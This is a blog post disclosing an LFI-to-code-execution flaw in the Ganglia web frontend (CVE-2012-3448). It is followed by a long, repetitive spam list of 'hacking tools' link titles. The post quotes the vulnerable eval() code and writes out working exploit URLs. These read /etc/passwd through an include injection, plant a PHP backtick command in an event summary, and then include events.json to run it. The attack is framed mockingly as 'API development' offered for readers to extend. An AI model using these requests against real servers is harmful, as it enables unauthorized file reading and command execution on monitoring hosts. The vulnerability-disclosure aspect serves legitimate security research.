http://console-cowboys.blogspot.com/2012/01/ganglia-monitoring-system-lfi.html
I recently grabbed the latest version of the Ganglia web application to take a look to see if this issue has been fixed and I was pleasantly surprised... github is over here -
https://github.com/ganglia/ganglia-web
Looking at the code the following (abbreviated "graph.php") sequence can be found -
$graph = isset($_GET["g"]) ? sanitize ( $_GET["g"] ) : "metric";
....
$graph_arguments = NULL;
$pos = strpos($graph, ",");
$graph_arguments = substr($graph, $pos + 1);
....
eval('$graph_function($rrdtool_graph,' . $graph_arguments . ');');
I can only guess that this previous snippet of code was meant to be used as some sort of API put in place for remote developers, unfortunately it is slightly broken. For some reason when this API was being developed part of its interface was wrapped in the following function -
function sanitize ( $string ) {
return escapeshellcmd( clean_string( rawurldecode( $string ) ) ) ;
}
According the the PHP documentation -
Following characters are preceded by a backslash: #&;`|*?~<>^()[]{}$\, \x0A and \xFF. ' and " are escaped only if they are not paired. In Windows, all these characters plus % are replaced by a space instead.
This limitation of the API means we cannot simply pass in a function like eval, exec, system, or use backticks to create our Ganglia extension. Our only option is to use PHP functions that do not require "(" or ")" a quick look at the available options (http://www.php.net/manual/en/reserved.keywords.php) it looks like "include" would work nicely. An example API request that would help with administrative reporting follows:
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/etc/passwd'
Very helpful, we can get a nice report with a list of current system users. Reporting like this is a nice feature but what we really would like to do is create a new extension that allows us to execute system commands on the Ganglia system. After a brief examination of the application it was found that we can leverage some other functionality of the application to finalize our Ganglia extension. The "events" page allows for a Ganglia user to configure events in the system, I am not exactly sure what type of events you would configure, but I hope that I am invited.
As you can see in the screen shot I have marked the "Event Summary" with "php here". When creating our API extension event we will fill in this event with the command we wish to run, see the following example request -
http://192.168.18.157/gang/api/events.php?action=add&summary=<%3fphp+echo+`whoami`%3b+%3f>&start_time=07/01/2012%2000:00%20&end_time=07/02/2012%2000:00%20&host_regex=
This request will set up an "event" that will let everyone know who you are, that would be the friendly thing to do when attending an event. We can now go ahead and wire up our API call to attend our newly created event. Since we know that Ganglia keeps track of all planned events in the following location "/var/lib/ganglia/conf/events.json" lets go ahead and include this file in our API call -
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/var/lib/ganglia/conf/events.json'
As you can see we have successfully made our API call and let everyone know at the "event" that our name is "www-data". From here I will leave the rest of the API development up to you. I hope this article will get you started on your Ganglia API development and you are able to implement whatever functionality your environment requires. Thanks for following along.
Update: This issue has been assigned CVE-2012-3448
Read more
- Pentest Tools Url Fuzzer
- Best Hacking Tools 2019
- Hacker Tools List
- Hacking Tools Pc
- New Hack Tools
- Pentest Tools For Mac
- Pentest Tools Free
- World No 1 Hacker Software
- Pentest Recon Tools
- How To Install Pentest Tools In Ubuntu
- Hack Tools Github
- Hacker Tools For Windows
- Nsa Hack Tools
- New Hack Tools
- Hack Tools 2019
- Pentest Tools Website Vulnerability
- How To Make Hacking Tools
- Hacker Tools 2019
- Ethical Hacker Tools
- Hacking Tools Free Download
- Pentest Tools For Ubuntu
- Physical Pentest Tools
- Hacker Hardware Tools
- Tools 4 Hack
- Pentest Tools For Windows
- Pentest Tools Website Vulnerability
- Pentest Tools Apk
- Hack Tools For Windows
- Hacker Tools Software
- Hacker Tools For Pc
- Pentest Tools Online
- Wifi Hacker Tools For Windows
- Hacker Tools Windows
- Hacking Tools Pc
- Hacker Tools Mac
- Hacker Tool Kit
- Hack Apps
- Hack Tool Apk No Root
- Hack Apps
- Pentest Tools Review
- Free Pentest Tools For Windows
- Pentest Tools For Windows
- Pentest Tools Tcp Port Scanner
- Hack Tools Pc
- What Are Hacking Tools
- Nsa Hack Tools
- Pentest Tools
- Hack Tools Github
- Hacking Tools For Windows
- Hack And Tools
- What Are Hacking Tools
- Hacking Tools Download
- Usb Pentest Tools
- Free Pentest Tools For Windows
- Hacking Tools For Windows Free Download
- Easy Hack Tools
- Pentest Tools Tcp Port Scanner
- Underground Hacker Sites
- Physical Pentest Tools
- Pentest Tools Free
- Pentest Tools For Android
- Hacking Tools Name
- Hacking Tools Hardware
- Hack Tools
- Pentest Tools Kali Linux
- Hack Tools 2019
- Pentest Tools Port Scanner
- Hack Apps
- Pentest Tools Download
- Nsa Hack Tools Download
- Pentest Automation Tools
- Hack Rom Tools
- Hacker Tools Github
- Tools Used For Hacking
- Hackers Toolbox
- Nsa Hack Tools Download
- Pentest Tools List
- Hacking Tools Online
- Hacking Tools Hardware
- Hacking Tools Software
- Physical Pentest Tools
- Hacking Tools Kit
- Hacking Tools Free Download
- Hacking Tools
- What Are Hacking Tools
- Pentest Tools Open Source
- Pentest Tools Website Vulnerability
- Pentest Tools Website Vulnerability
- Hacking Tools Hardware
- Pentest Tools Online
- Hacker Tools List
- Hack Tools For Windows
- Hack Website Online Tool
- Hacker Tools List
- Hack Website Online Tool
- Beginner Hacker Tools
- Hak5 Tools
- Pentest Tools Linux
- Hack Tools Download
- Pentest Tools Tcp Port Scanner
- Hacking Tools Hardware
- Hack Tools Github
- Hack Apps
- Hacker Tools Hardware
- Pentest Tools Port Scanner
- Pentest Tools For Windows
- Pentest Box Tools Download
- Hacking Tools For Windows 7
- Hacking Tools Pc
- Pentest Tools For Ubuntu
- Pentest Tools Bluekeep
- Hacking Tools Github
- Hack Tool Apk No Root
- Hacks And Tools
- Github Hacking Tools
- Pentest Tools Online
- Hacking Tools Usb
- Hacks And Tools
- Hacking Tools Free Download
- Hacking Tools And Software
- Pentest Tools Website Vulnerability
- Pentest Tools Github
- Hacker Search Tools
- How To Hack